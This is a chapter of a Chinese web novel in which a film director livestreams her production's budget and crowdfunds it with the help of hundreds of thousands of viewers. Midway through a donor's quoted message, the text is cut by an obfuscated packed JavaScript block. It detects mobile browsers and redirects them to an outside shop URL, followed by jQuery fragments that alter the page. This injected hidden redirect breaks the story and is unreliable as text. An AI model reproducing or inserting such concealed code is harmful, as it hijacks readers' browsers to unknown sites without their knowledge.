“核心攻坚组”成立的第二天，沈小鱼做了一件所有人都没想到的事。
她在透明创作联盟的直播平台，开启了一场名为“《野草》诞生记：
72小时极限创作实验”的直播。
没有预告，没有宣传，凌晨五点，直播间悄然开启。
画面里，是联盟那间最大的排练厅，此刻被改造成了临时指挥部。
白板上写满分镜草图，地上摊着剧本、预算表、场景设计图。
沈小鱼、陆青然、许昕、李强四人围坐在地垫上，面前摆着四台笔记本电脑，还有堆积如山的速食面和矿泉水。
沈小鱼对着镜头，素颜，黑眼圈明显，但眼睛很亮：
“大家好，现在是凌晨五点十七分。从此刻起，《野草》项目进入最后72小时筹备冲刺。这72小时，我们将全程直播项目所有的核心决策过程——剧本定稿、场景确认、拍摄方案、预算分配。没有剪辑，没有剧本，只有最真实的挣扎和抉择。”
她顿了顿，目光直视镜头，像在看着每一个屏幕背后的人：
“同时，我们开放‘《野草》共创者’特别通道。任何人在直播期间，可以通过链接进入我们的实时预算系统，看到每一分钱的缺口，并选择是否支持——支持金额不限，一元也可。”
她拿起手边一个铁皮盒子——
那是许昕装“生命遗物”的盒子，现在被临时用来当道具。
“所有支持者，你们的名字不会被刻在冰冷的石碑上，而会被手写在这样的卡片上。”
她抽出一张空白卡片，“然后装进这个盒子，埋在《野草》最终拍摄地——那片废墟的中心。它们会和电影一起，成为那片荒原的一部分。多年以后，如果有人挖开那片土地，他们会发现——这里长出的不是一部电影，是一群人曾经相信过的东西。”
这个设定，让直播间的弹幕瞬间安静了一瞬，然后爆炸。
“卧槽！这个仪式感！”
“我要写我爷爷的名字，他抗美援朝回来的，一辈子没看过好电影。”
“把我女儿的名字写上去，她才三岁，我想让她长大后知道，她爸曾经为好东西战斗过。”
直播间起初只有几百人。
但随着口口相传，人数开始指数级增长。
一小时后，突破十万。
两小时后，五十万。
人们看到的，不是光鲜亮丽的电影发布会，而是四个近乎偏执的创作者，在为了一部可能永远无法上映的电影，燃烧自己。
第一幕：剧本的生死抉择。
陆青然把最终版剧本投影在白板上。
那是他熬了七个通宵改出来的版本，比原版更残酷，更绝望，但也更真实。
沈小鱼逐场审读，到了全片最关键的那场“废墟演讲”戏——
正是需要大量群演的那场——她停下了。
“这里，台词要改。”
沈小鱼用红笔划掉整整三页，“不要那么多口号，不要那么多‘我们’。荒的觉醒，不是带领别人，是先承认自己一无所有。”
陆青然急得额头冒汗：
“可是这三页台词，是全片的情感高潮！删了，观众怎么被点燃？”
“观众不需要被点燃。”
沈小鱼看着他，“观众需要被刺痛。被那种‘我什么都没有了，但我还得活下去’的刺痛。”
两人激烈争论，直播弹幕也在疯狂讨论：
“支持沈导！真实比热血更重要！”
“可是没有情绪高潮，电影会不会太闷？”
“相信沈小鱼！《荒原之诗》里那种沉默的力量才最杀人！”
争论持续了四十分钟。
最后，陆青然颓然坐倒在地，捂着脸：
“我懂了。你说得对。人在绝境里，是说不出漂亮话的。能说出来的，只有……牙缝里挤出来的字。”
他抓起笔，当场划掉了那三页台词，改成七行简短的、断裂的句子：
“我的家，没了。”
“我的名字，忘了。”
“我的神，死了。”
“我只有，这片废墟。”
“和废墟里，还没死透的，喘气。”
“那就，喘下去。”
“喘到，喘不动为止。”
直播间里，弹幕安静了一瞬，然后爆炸：
“鸡皮疙瘩起来了！”
“七句话，比三页纸更有力量！”
“陆青然牛逼！沈小鱼牛逼！”
第二幕：场景的魔术。
李强展示美术团队用三万元预算做出的场景设计方案——
他们要在一个废弃的水泥厂，搭建出剧本里那个“被遗忘的末世村落”。
方案里全是“土法炼钢”：
生锈的钢筋搭成瞭望塔，破渔网和塑料布做成帐篷，废车零件拼成祭祀图腾。
“预算只够做到这个程度。”
李强有些羞愧，“很多细节只能用想象和光影弥补。”
沈小鱼却眼睛发亮：
“不，这很好。真实的废墟，就是这种拼凑感、临时感。太精致了，反而假。”
她当场拍板：“就按这个方案。但再加一个元素——”
她调出手机里的一张照片，是前几天一个“播种者”发来的：
郊区的垃圾填埋场，堆积如山的塑料瓶在夕阳下泛着诡异的彩色光晕。
“把这片‘塑料山’搬进场景。”
沈小鱼说，“让它在某些镜头里，成为背景里沉默的‘山峦’。那是我们这个时代的废墟——被消费主义抛弃的残骸，也是无数普通人生活挣扎的物证。”
她顿了顿，看向镜头：
“我父亲的企业，破产前最后一批货，就是这种塑料制品。它们没卖出去，堆在仓库里，像一座小小的坟。后来仓库抵债了，那些塑料瓶不知去了哪里。也许，就在某一片这样的‘山’里。”
这番话，让弹幕再次沸腾：
“破防了……原来塑料山是这个意思！”
“时代的废墟，个体的坟，太狠了！”
“这就是创作的力量！”
第三幕：预算的透明刀。
沈小鱼调出实时预算系统界面，投影在大屏幕上。
系统像一棵倒挂的树，主干是“总预算三千万”，分支是“剧本开发”“美术场景”“演员酬劳”“后期制作”等十几个板块，每个板块下又有更细的条目。
目前，所有板块都是刺目的红色——
“资金未到位”。
沈小鱼点开“美术场景”板块，里面详细列着每一项开支：
废水泥厂场地租赁：30天×500元/天=15000元
建筑材料（废钢筋、塑料布、渔网等）：预估8000元（已收到志愿者捐赠废品价值约3000元）
人工搭建费：10人×15天×200元/天=30000元（其中8人为志愿者，仅需支付基本餐补）
特殊道具（塑料山）：运输及布置费5000元
……
每一项，都有三家以上供应商的比价截图，以及志愿者捐赠的记录。
“我们的原则是：能淘旧的不买新的，能自己动手的不外包，能借的不租。”
沈小鱼说，“但即使这样，美术场景的总预算依然需要十二万。目前，这个板块的资金缺口是：七万五千元。”
她点击“缺口”数字，系统弹出一个小窗口：
“您可以为‘美术场景’助力。”
选项：10元、50元、100元、500元、1000元、自定义金额。
特别备注：您可以选择将名字写在‘废墟卡片’上，埋入拍摄地。
沈小鱼没有号召捐款，只是平静地说：
“这是我们的现实。每一分钱，都会花在这里。每一分钱的去向，都可以在系统里实时追踪。每一张埋进废墟的卡片，我们都会拍照上传，供您随时查看。”
说完，她关掉界面，继续下一个议题。
但直播间里，那个“助力”窗口下的数字，开始跳动。
起初是零星的10元、20元。
接着，50元、100元开始出现。
一小时后，数字变成：已筹集：8,472元。
两小时后：已筹集：28,590元。
捐款留言开始变得具体而沉重：
“捐一百，给我爸。他厂子倒闭后，在工地摔断了腿，现在靠捡塑料瓶过活。名字写‘老李头的儿子’。”
“捐五十，给我妈。她乳腺癌中期，舍不得用靶向药。名字写‘想让我妈活下去的女儿’。”
“捐二十，给我自己。我抑郁症三年了，每天靠看你们的直播撑着。名字写‘一个还没放弃的人’。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027484|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我是学生，捐五块，是我三天的早饭钱。名字写‘将来想拍电影的小孩’。”
这些留言，像一块块带着体温的砖石，在直播间的公屏上，垒起了一座温暖的、沉重的塔。
直播进行到第六小时，一个ID叫“曾经的电影投资人”的用户，突然刷了十个价值一万元的“星光战舰”。
留言是：“沈导，我投资电影十年，亏了八千万。今天在你这，我看到了电影最初的样子。这十万，不是投资，是赎罪——为我投过的那些烂片，也为我当年逼死过像你父亲那样的中小企业主。”
紧接着，又一个ID叫“八大公司离职员工”的用户，刷了五个战舰：
“我在星光传媒干了五年，做过很多违心的事。今天辞职了。这五万，是我的离职补偿金，送给《野草》。名字写‘一个洗手的脏人’。”
这两个大额捐赠，像打开了某个闸门。
捐款数额开始飙升。
直播第八小时，沈小鱼正在和陆青然争论一场夜戏的打光方案，李强突然指着屏幕，声音发抖：
“沈总……您看……”
沈小鱼转头。
预算系统的总览界面上，那个刺眼的红色“资金缺口：27,000,000元”，正在以肉眼可见的速度缩小。
27,000,000……
26,500,000……
25,000,000……
20,000,000……
数字跳动得越来越快。
最后，在直播开始八小时四十七分钟时，数字归零。
然后，跳成了绿色：
“资金已到位：30,000,000元。”
“实名支持者：312,847人。”
“待书写卡片：312,847张。”
排练厅里一片死寂。
四个人盯着屏幕，谁也说不出话。
许昕缓缓蹲下，抱着膝盖，把脸埋进去，肩膀剧烈颤抖。
陆青然一遍遍刷新着页面，看着那三十一万多人的名字列表——
那不是一个名单，是一片森林，一片由普通人组成的、沉默的、活着的森林。
李强抹了把脸，咧嘴笑，眼泪却流进嘴里：
“妈的……这辈子……值了……”
直播间的弹幕，在这一刻，被同一条信息刷屏：
“我们不需要八大公司，我们需要好好活着，也需要好电影。”
“我们不需要八大公司，我们需要好好活着，也需要好电影。”
“我们不需要八大公司，我们需要好好活着，也需要好电影。”
………
成千上万条，密密麻麻，铺满整个屏幕。
像一场沉默的、盛大的、民间的加冕礼。
沈小鱼的眼泪，毫无预兆地、无声地滚落。
她对着镜头，深深鞠躬。
久久没有起身。
因为她知道，这八小时破亿的奇迹，不是她的胜利。
是三十一万多个普通人，用他们一元、十元、一百元，用他们亲人的名字、自己的伤口、卑微的梦想，堆出来的一句话：
“我们，要看好电影。”
“因为好电影，是让我们相信——活着，还有可能。”
“而你们，要拍出来。”
直播在凌晨两点结束。
关掉镜头后，许昕还在哭，哭得喘不过气。
陆青然蹲在她旁边，红着眼眶拍她的背。
李强走到窗边，点了一支烟——他戒了三年了，但今天，他想抽一支。
沈小鱼打开那个铁皮盒子，里面还是空的。
但她仿佛已经看见，三十一万多张卡片，像雪花一样，落进这个盒子里。
然后被埋进废墟。
在未来的某一天，
和野草一起，
长出来。
她拿起手机，给母亲发了一条信息：
“妈，钱够了。”
“不是靠施舍，是靠相信。”
“三十一万个人，相信我们。”
“所以，我们会赢。”
“赢给所有人看。”
窗外，夜色正浓。
但沈小鱼知道——
天，快亮了。
因为光，已经从最普通、最艰难、最不肯跪的土壤里，
钻出来了。